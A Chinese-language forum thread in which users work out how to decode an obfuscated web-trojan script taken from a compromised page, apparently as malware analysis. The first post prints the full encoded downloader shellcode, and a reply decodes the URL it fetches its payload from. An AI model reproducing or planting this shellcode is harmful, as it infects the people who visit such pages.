这个木马网我解密半天了,都没解密出木马的下载地址,请板主帮忙!

fsl

代码就是下面的,
麻烦请告诉我一步一步的怎么解密出最后的木马地址


document.writeln("var QuadroSCR = "psd4343psd4343psd4343psda3e9psd0000psd5f00psda164psd0030psd0000psd408bpsd8b0cpsd1c70psd8badpsd0868psdf78bpsd046apsde859psd0043psd0000psdf9e2psd6f68psd006epsd6800psd7275psd6d6cpsdff54psd9516psd2ee8psd0000psd8300psd20ecpsddc8bpsd206apsdff53psd0456psd04c7psd5c03psd2e61psdc765psd0344psd7804psd0065psd3300psd50c0"+"psd5350"+"psd5057psd56ffpsd8b10psd50dcpsdff53psd0856psd56ffpsd510cpsd8b56psd3c75psd748bpsd782epsdf503psd8b56psd2076psdf503psdc933psd4149psd03adpsd33c5psd0fdbpsd10bepsdd63apsd0874psdcbc1psd030dpsd40dapsdf1ebpsd1f3bpsde775psd8b5epsd245epsddd03psd8b66psd4b0cpsd5e8bpsd031cpsd8bddpsd8b04psdc503psd5eabpsdc359psd58e8psdffffpsd8effpsd0e4epsdc1ecpsde579psd98b8psd8afepsdef0epsde0cepsd3660psd2f1apsd7474psd3a70psd2f2fpsd7777psd2e77psd696fpsd7975psd7274psd6e2epsd7465psd6e2fpsd7765psd612fpsd3531psd2e34psd7363psd0073";");


请问上面的代码该怎么解密?

capsshift

最简单的是用嗅探。
打开挂马网页，自然就会找出来了。
解密，实在是太费事了。

fsl

怎么嗅谈

glacier_lk

挂马的SB没把网址输全，解这句就可以了：
%u7474%u3a70%u2f2f%u7777%u2e77%u696f%u7975%u7274%u6e2e%u7465%u6e2f%u7765%u612f%u3531%u2e34%u7363%u0073
解密后为：ttp://www.oiuytr.net/new/a154.css
可以使用：http://glacierlk.cn/openlab/jm.htm
然后勾选psd->%u然后点快速替换，然后点击shellcode解密

tanlimo

psd=>%u

fsl

???????????

请勿提交纯表情回复

高深，高手

ranguangning

7楼 看看教程 简单得要命

雨宫优子

psd->%u

如果他不是psd而是YT咋办..

这家伙虽然不错，但是还不是万能的..

glacier_lk

原帖由 aarwwefdds 于 2008-12-2 20:45 发表
psd->%u

如果他不是psd而是YT咋办..

这家伙虽然不错，但是还不是万能的..

哪个解密算法也不是万能的，解密不能单靠工具，还得靠大脑，不能把人头当摆设